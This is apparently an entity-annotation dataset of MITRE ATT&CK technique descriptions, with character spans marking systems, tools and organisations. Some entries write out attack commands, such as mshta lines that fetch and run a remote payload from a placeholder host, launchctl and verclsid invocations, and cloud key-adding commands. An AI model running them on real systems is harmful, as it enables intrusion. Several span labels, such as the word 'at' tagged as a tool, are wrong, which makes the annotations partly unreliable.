{"text": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.", "spans": {"SYSTEM: Windows": [[214, 221], [238, 245], [736, 743]], "SYSTEM: COM": [[493, 496], [506, 509], [624, 627]], "TOOL: Regsvr32": [[677, 685]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.012"}}
{"text": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.", "spans": {"ORGANIZATION: Facebook": [[1001, 1009]], "ORGANIZATION: Google": [[1030, 1036]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1586"}}
{"text": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.\n\nAdversaries use launchctl to execute commands and programs as Launch Agents or Launch Daemons. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute Launch Agents or Launch Daemons.", "spans": {"SYSTEM: macOS": [[137, 142]], "FILEPATH: /bin/launchctl": [[601, 615]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1569.001"}}
{"text": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS).", "spans": {"TOOL: at": [[500, 502]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.005"}}
{"text": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH.\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.", "spans": {"SYSTEM: SSH": [[673, 676]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.008"}}
{"text": "Adversaries may search the command history on compromised systems for insecurely stored credentials.\n\nOn Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.", "spans": {"SYSTEM: Linux": [[105, 110]], "SYSTEM: macOS": [[115, 120]], "SYSTEM: Bash": [[145, 149]], "TOOL: at": [[350, 352]], "SYSTEM: Windows": [[497, 504], [754, 761], [895, 902]], "TOOL: PowerShell": [[506, 516], [762, 772]], "FILEPATH: %userprofile%": [[714, 727]], "ORGANIZATION: Microsoft": [[744, 753]], "SYSTEM: Command Prompt": [[871, 885]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.003"}}
{"text": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as Command and Scripting Interpreters or even network protocols that can be abused to enable Adversary-in-the-Middle or Network Sniffing. For example, PowerShell versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to Impair Defenses while running malicious scripts that may have otherwise been detected.\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text. On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.", "spans": {"TOOL: PowerShell": [[522, 532], [690, 700]], "SYSTEM: HTTPS": [[914, 919]], "SYSTEM: HTTP": [[947, 951]], "SYSTEM: Windows": [[1007, 1014]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.010"}}
{"text": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.", "spans": {"SYSTEM: macOS": [[93, 98]], "SYSTEM: API": [[392, 395], [443, 446]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1559.003"}}
{"text": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.\n\nAdversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.", "spans": {"TOOL: Wireshark": [[770, 779]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1497"}}
{"text": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "spans": {"ORGANIZATION: Google": [[400, 406]], "ORGANIZATION: Microsoft": [[408, 417]], "SYSTEM: SSL": [[525, 528]], "SYSTEM: TLS": [[529, 532]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1102"}}
{"text": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.", "spans": {"SYSTEM: Group Policy": [[506, 518]], "SYSTEM: Windows": [[545, 552]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1552.001"}}
{"text": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.\n\nOne implementation of DNS Calculation is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.", "spans": {"SYSTEM: DNS": [[62, 65], [346, 349], [418, 421]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1568.003"}}
{"text": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code      \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.  HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.", "spans": {"SYSTEM: VBScript": [[93, 101]], "SYSTEM: Windows": [[120, 127]], "TOOL: Mshta": [[274, 279], [753, 758]], "ORGANIZATION: Microsoft": [[311, 320]], "SYSTEM: Internet Explorer": [[441, 458], [898, 915]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.005"}}
{"text": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them. Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder. Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables. Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items. Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>. This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>. Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.", "spans": {"SYSTEM: API": [[446, 449]], "SYSTEM: Native API": [[1140, 1150]], "SYSTEM: macOS": [[1237, 1242]], "ORGANIZATION: Apple": [[1308, 1313]], "TOOL: at": [[1515, 1517]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.015"}}
{"text": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site.\n* Staging web resources for a link target to be used with spearphishing.\n* Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer.\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).", "spans": {"SYSTEM: GitHub": [[552, 558]], "SYSTEM: SSL": [[1121, 1124]], "SYSTEM: TLS": [[1125, 1128]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608"}}
{"text": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link.\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.", "spans": {"SYSTEM: JavaScript": [[774, 784]], "TOOL: top": [[1276, 1279]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.005"}}
{"text": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.", "spans": {"TOOL: at": [[515, 517]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1104"}}
{"text": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, \"pig butchering,\" bank hacking, and exploiting cryptocurrency networks. \n\nAdversaries may Compromise Accounts to conduct unauthorized transfers of funds. In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary. This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact  and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary. Adversaries may use dedicated leak sites to distribute victim data.\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.", "spans": {"TOOL: at": [[133, 135], [161, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1657"}}
{"text": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.", "spans": {"SYSTEM: Active Directory": [[493, 509]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1480"}}
{"text": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage.  Similar to File and Directory Discovery on a local host, after identifying available storage services (i.e. Cloud Infrastructure Discovery) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS  and List Blobs in Azure .", "spans": {"SYSTEM: AWS": [[578, 581]], "SYSTEM: Azure": [[601, 606]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1619"}}
{"text": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from Steal Web Session Cookie and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces. The generation of web cookies often requires secret values, such as passwords, Private Keys, or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources (Web Session Cookie), which may bypass multi-factor and other authentication protection mechanisms.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1606.001"}}
{"text": "Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records (Account Discovery), security or vulnerable software (Software Discovery), or hosts within a compromised network (Remote System Discovery).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or PowerShell on Windows to access and/or export security event information. In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\n\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.", "spans": {"TOOL: PowerShell": [[422, 432]], "SYSTEM: Windows": [[436, 443]], "SYSTEM: Azure": [[566, 571]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1654"}}
{"text": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1134.001"}}
{"text": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.", "spans": {"SYSTEM: API": [[159, 162]], "URL: https://api.github.com": [[168, 190]], "SYSTEM: Access": [[193, 199]], "SYSTEM: HTTPS": [[229, 234]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1567.001"}}
{"text": "Adversaries may log into accessible cloud services within a compromised environment using Valid Accounts that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., Cloud API), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via Application Access Token instead of a username and password.", "spans": {"SYSTEM: API": [[612, 615]], "SYSTEM: Azure": [[676, 681]], "TOOL: PowerShell": [[682, 692], [743, 753]], "ORGANIZATION: Microsoft": [[727, 736]], "SYSTEM: Google Cloud": [[798, 810]], "SYSTEM: Access": [[906, 912]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.007"}}
{"text": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r , is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1205.001"}}
{"text": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., Malicious File), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by Command and Scripting Interpreter/System Binary Proxy Execution arguments within the target path field of the LNK.\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.", "spans": {"SYSTEM: Windows": [[158, 165]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.012"}}
{"text": "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", "spans": {"ORGANIZATION: Google": [[374, 380]], "SYSTEM: GitHub": [[382, 388]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.006"}}
{"text": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).  Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.  \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token.\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.", "spans": {"SYSTEM: API": [[179, 182], [381, 384], [716, 719], [882, 885], [1008, 1011], [2553, 2556]], "SYSTEM: Kubernetes": [[618, 628], [705, 715], [871, 881]], "SYSTEM: Azure": [[1199, 1204], [1292, 1297], [1345, 1350], [1466, 1471], [2468, 2473]], "ORGANIZATION: Microsoft": [[1930, 1939], [2434, 2443]], "TOOL: PowerShell": [[2533, 2543]], "SYSTEM: Access": [[2821, 2827]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1528"}}
{"text": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals.\n\nAdversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"TOOL: at": [[614, 616]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598.002"}}
{"text": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID. These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator. \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.", "spans": {"SYSTEM: Azure": [[295, 300], [459, 464], [473, 478], [507, 512]], "TOOL: PowerShell": [[519, 529]], "SYSTEM: SSH": [[682, 685]], "SYSTEM: API": [[765, 768], [1037, 1040], [1221, 1224], [1956, 1959], [2196, 2199]], "SYSTEM: AWS": [[772, 775], [1044, 1047], [1228, 1231], [1283, 1286], [1851, 1854]], "TOOL: ssh": [[813, 816]], "SYSTEM: GCP": [[844, 847], [1119, 1122]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.001"}}
